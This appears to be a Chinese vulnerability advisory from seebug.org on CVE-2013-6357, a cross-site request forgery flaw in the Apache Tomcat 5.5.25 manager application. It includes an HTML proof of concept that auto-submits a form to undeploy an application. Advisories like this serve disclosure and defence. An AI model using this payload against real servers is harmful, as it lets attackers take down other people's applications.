Apache Tomcat 5.5.25跨站请求伪造漏洞

2013-12-1600:00:00

Root

www.seebug.org

0.001 Low

EPSS

Percentile

30.4%

JSON

CVE ID:CVE-2013-6357

Apache Tomcat是一款开放源码的JSP应用服务器程序。

Apache Tomcat 管理应用程序中存在跨站请求伪造漏洞，攻击者可以通过POST方法操纵应用程序部署。
0
Apache Tomcat 5.5.25
目前厂商暂无提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://tomcat.apache.org/


                                                Undeploy Applications
 &lt;html&gt;
 &lt;body onload=&quot;javascript:document.forms[0].submit()&quot;&gt;
 &lt;H2&gt;CSRF Exploit to Undeploy an Application&lt;/H2&gt;
 &lt;form method=&quot;POST&quot; name=&quot;form0&quot; action=&quot;http://&lt;tomcat_ip&gt;:&lt;tomcat_tcp/port&gt;/manager/html/undeploy?path=/&lt;name_of_application_to_undeploy&gt;&quot;&gt;
 &lt;/form&gt;
 &lt;/body&gt;
 &lt;/html&gt;

0.001 Low

EPSS

Percentile

30.4%

JSON

Related for SSV:61112